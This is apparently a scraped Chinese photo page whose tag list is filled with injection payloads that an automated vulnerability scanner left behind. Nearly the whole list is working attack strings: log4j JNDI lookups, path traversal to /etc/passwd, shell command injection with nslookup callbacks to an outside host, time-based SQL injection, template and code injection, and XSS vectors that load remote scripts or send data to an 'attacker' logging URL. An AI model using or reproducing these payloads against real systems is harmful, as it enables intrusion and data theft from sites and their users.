×
照片标签：
- 1
- 1Ch8Aae0mrO
- response.write(9026637*9737506)
- '+response.write(9026637*9737506)+'
- "+response.write(9026637*9737506)+"
- ${j${::-n}di:dns${::-:}//hityvyffauixl71a0f${::-.}bxss.me}zzzz
- 12345'"\'\")
- ../../../../../../../../../../../../../../etc/passwd
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-112123..a3932${::-.}1${::-.}bxss.me}}
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- echo afetjv$()\ azrxru\nz^xyu||a #' &echo afetjv$()\ azrxru\nz^xyu||a #|" &echo afetjv$()\ azrxru\nz^xyu||a #
- &echo jdibbi$()\ wvxkti\nz^xyu||a #' &echo jdibbi$()\ wvxkti\nz^xyu||a #|" &echo jdibbi$()\ wvxkti\nz^xyu||a #
- |echo vxroqy$()\ oxyyao\nz^xyu||a #' |echo vxroqy$()\ oxyyao\nz^xyu||a #|" |echo vxroqy$()\ oxyyao\nz^xyu||a #
- 1<esi:include src="http://bxss.me/rpb.png"/>
- (nslookup hitufyhtdagfz5dabe.bxss.me||perl -e "gethostbyname('hitufyhtdagfz5dabe.bxss.me')")
- $(nslookup hitazykwljgkm8721e.bxss.me||perl -e "gethostbyname('hitazykwljgkm8721e.bxss.me')")
- &(nslookup hituicztzjmxl2f2d8.bxss.me||perl -e "gethostbyname('hituicztzjmxl2f2d8.bxss.me')")&'\"`0&(nslookup hituicztzjmxl2f2d8.bxss.me||perl -e "gethostbyname('hituicztzjmxl2f2d8.bxss.me')")&`'
- |(nslookup hitqqjtmwarez1095d.bxss.me||perl -e "gethostbyname('hitqqjtmwarez1095d.bxss.me')")
- `(nslookup hituawalpectgabaaa.bxss.me||perl -e "gethostbyname('hituawalpectgabaaa.bxss.me')")`
- ${10000067+10000232}
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- '.gethostbyname(lc('hitzf'.'hpomizwc01dde.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(74).chr(116).chr(68).'
- Http://bxss.me/t/fit.txt
- '"()
- http://bxss.me/t/fit.txt?.jpg
- ".gethostbyname(lc("hitwq"."urlxylgs9bf59.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(87).chr(105).chr(85)."
- bxss.me
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(112).concat(70).concat(111).concat(77)+(require"socket" Socket.gethostbyname("hituj"+"xoolxwbt87169.bxss.me.")[3].to_s)+"
- '
- '+'A'.concat(70-3).concat(22*4).concat(111).concat(80).concat(110).concat(82)+(require'socket' Socket.gethostbyname('hitvb'+'mlobdend657b1.bxss.me.')[3].to_s)+'
- "
- bibs
- ${@print(md5(31337))}
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- bibs/.
- '"
- <!--
- hUgAJOnU
- -1 OR 2+586-586-1=0+0+0+1 --
- -1 OR 2+27-27-1=0+0+0+1
- -1' OR 2+213-213-1=0+0+0+1 --
- -1' OR 2+188-188-1=0+0+0+1 or '9M6F7Zl3'='
- -1" OR 2+997-997-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- H7ovOqb1'
- -5 OR 787=(SELECT 787 FROM PG_SLEEP(15))--
- -5) OR 716=(SELECT 716 FROM PG_SLEEP(15))--
- -1)) OR 988=(SELECT 988 FROM PG_SLEEP(15))--
- PJhiuXiU' OR 14=(SELECT 14 FROM PG_SLEEP(15))--
- QNjgdJpV') OR 630=(SELECT 630 FROM PG_SLEEP(15))--
- 4O8grsAd')) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@aq1Dd
- 1'"()&%<acx><ScRiPt >RreJ(9940)</ScRiPt>
- '"()&%<acx><ScRiPt >RreJ(9417)</ScRiPt>
- 19929356
- acu1381＜s1﹥s2ʺs3ʹuca1381
- acux6491z1z2abcxuca6491
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu8351＜s1﹥s2ʺs3ʹuca8351
- acux1738z1z2abcxuca1738
- acu6430＜s1﹥s2ʺs3ʹuca6430
- acux2841z1z2abcxuca2841
- 1"onmouseover=RreJ(90772)"
- 1" NzVb=RreJ([!+!]) PTZ="
- 1\u0022onmouseover=RreJ(94173)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%52%72%65%4A%28%39%34%32%32%34%29%22
- "onmouseover=RreJ(98205)//
- 1"sTYLe='acu:Expre/**/SSion(RreJ(9713))'bad="
- 1"><script>RreJ(9509)</script>
- 1<ScRiPt >RreJ(9588)</ScRiPt>
- 1<WFIUGQ>RS3GO[!+!]</WFIUGQ>
- 1<script>RreJ(9588)</script>
- 1<ScR<ScRiPt>IpT>RreJ(9248)</sCr<ScRiPt>IpT>
- 1<ScRiPt >RreJ(9245)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9432></ScRiPt>
- 1< ScRiPt >RreJ(9066)</ScRiPt>
- 1<svg onload=RreJ(9097)
- 1<isindex type=image src=1 onerror=RreJ(9113)>
- 1<iframe src='data:text/html
- 1<body onload=RreJ(9619)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=RreJ(9116)>
- 1<img src=xyz OnErRor=RreJ(9105)>
- 1<img/src=">" onerror=alert(9534)>
- %31%3C%53%63%52%69%50%74%20%3E%52%72%65%4A%289248%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\RreJ(9700)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=RreJ(91431) //>
- 1<input autofocus onfocus=RreJ(9755)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(RreJ(9581))}
- 1sZds3 <ScRiPt >RreJ(9987)</ScRiPt>
- 1<WLPOCO>6FAKB[!+!]</WLPOCO>
- 1<ifRAme sRc=9452.com></IfRamE>
- 1<aEtHNLt x=9952>
- 1<img sRc='http://attacker-9434/log.php?
- 1<akbFokw<
- 1'"()&%<acx><ScRiPt >gbyT(9706)</ScRiPt>
- '"()&%<acx><ScRiPt >gbyT(9710)</ScRiPt>
- 19188315
- acu10199＜s1﹥s2ʺs3ʹuca10199
- acux6200z1z2abcxuca6200
- acu3327＜s1﹥s2ʺs3ʹuca3327
- acux5471z1z2abcxuca5471
- acu7519＜s1﹥s2ʺs3ʹuca7519
- acux6382z1z2abcxuca6382
- 1"onmouseover=gbyT(91102)"
- 1" DrOs=gbyT([!+!]) GHp="
- 1\u0022onmouseover=gbyT(92073)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%67%62%79%54%28%39%32%35%34%34%29%22
- "onmouseover=gbyT(97995)//
- 1"sTYLe='acu:Expre/**/SSion(gbyT(9306))'bad="
- 1"><script>gbyT(9877)</script>
- 1<ScRiPt >gbyT(9488)</ScRiPt>
- 1<WU8AA7>U8KEL[!+!]</WU8AA7>
- 1<script>gbyT(9523)</script>
- 1<ScR<ScRiPt>IpT>gbyT(9785)</sCr<ScRiPt>IpT>
- 1<ScRiPt >gbyT(9653)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9349></ScRiPt>
- 1< ScRiPt >gbyT(9348)</ScRiPt>
- 1<svg onload=gbyT(9892)
- 1<isindex type=image src=1 onerror=gbyT(9042)>
- 1<body onload=gbyT(9007)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=gbyT(9439)>
- 1<img src=xyz OnErRor=gbyT(9901)>
- 1<img/src=">" onerror=alert(9940)>
- %31%3C%53%63%52%69%50%74%20%3E%67%62%79%54%289959%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\gbyT(9654)\u003C/sCripT\u003E
- <img acu onmouseover=gbyT(94841) //>
- 1<input autofocus onfocus=gbyT(9339)>
- 1}body{acu:Expre/**/SSion(gbyT(9433))}
- 1dtjg9 <ScRiPt >gbyT(9959)</ScRiPt>
- 1<W368UP>WCZHA[!+!]</W368UP>
- 1<ifRAme sRc=9285.com></IfRamE>
- 1<adWm72u x=9930>
- 1<img sRc='http://attacker-9789/log.php?
- 1<a2XiFEq<
- response.write(9968475*9080310)
- '+response.write(9968475*9080310)+'
- "+response.write(9968475*9080310)+"
- ${j${::-n}di:dns${::-:}//hitqheuelhtyofc188${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-668264..a3932${::-.}1${::-.}bxss.me}}
- echo pmfzrf$()\ adoxmd\nz^xyu||a #' &echo pmfzrf$()\ adoxmd\nz^xyu||a #|" &echo pmfzrf$()\ adoxmd\nz^xyu||a #
- &echo trxrks$()\ edvygx\nz^xyu||a #' &echo trxrks$()\ edvygx\nz^xyu||a #|" &echo trxrks$()\ edvygx\nz^xyu||a #
- |echo ohgikf$()\ bekkgf\nz^xyu||a #' |echo ohgikf$()\ bekkgf\nz^xyu||a #|" |echo ohgikf$()\ bekkgf\nz^xyu||a #
- (nslookup hithobkqixsuw0010a.bxss.me||perl -e "gethostbyname('hithobkqixsuw0010a.bxss.me')")
- $(nslookup hitlplkptcycsb4536.bxss.me||perl -e "gethostbyname('hitlplkptcycsb4536.bxss.me')")
- &(nslookup hitpucgcuqlrh7267c.bxss.me||perl -e "gethostbyname('hitpucgcuqlrh7267c.bxss.me')")&'\"`0&(nslookup hitpucgcuqlrh7267c.bxss.me||perl -e "gethostbyname('hitpucgcuqlrh7267c.bxss.me')")&`'
- |(nslookup hitxqvdukbmwxd02d0.bxss.me||perl -e "gethostbyname('hitxqvdukbmwxd02d0.bxss.me')")
- `(nslookup hitgdrwyzviifc1daf.bxss.me||perl -e "gethostbyname('hitgdrwyzviifc1daf.bxss.me')")`
- ${9999778+9999370}
- '.gethostbyname(lc('hittu'.'gzutlvab5ae76.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(85).chr(122).chr(70).'
- ".gethostbyname(lc("hitoc"."qisbqaqk99290.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(87).chr(116).chr(90)."
- "+"A".concat(70-3).concat(22*4).concat(116).concat(76).concat(102).concat(84)+(require"socket" Socket.gethostbyname("hitdf"+"quaypgkkb84ea.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(78).concat(122).concat(78)+(require'socket' Socket.gethostbyname('hithv'+'afwclrdi7d5a9.bxss.me.')[3].to_s)+'
- vqC9egiU
- -1 OR 2+467-467-1=0+0+0+1 --
- -1 OR 2+772-772-1=0+0+0+1
- -1' OR 2+492-492-1=0+0+0+1 --
- -1' OR 2+646-646-1=0+0+0+1 or 'HqwIbFjB'='
- -1" OR 2+991-991-1=0+0+0+1 --
- BDRKXEE6'
- -5 OR 438=(SELECT 438 FROM PG_SLEEP(15))--
- -5) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
- -1)) OR 121=(SELECT 121 FROM PG_SLEEP(15))--
- Ahffi1Bv' OR 333=(SELECT 333 FROM PG_SLEEP(15))--
- dtp0xL1F') OR 630=(SELECT 630 FROM PG_SLEEP(15))--
- 7ULgJOYX')) OR 394=(SELECT 394 FROM PG_SLEEP(15))--
- @@s1bMw
微信扫一扫, 保存到手机
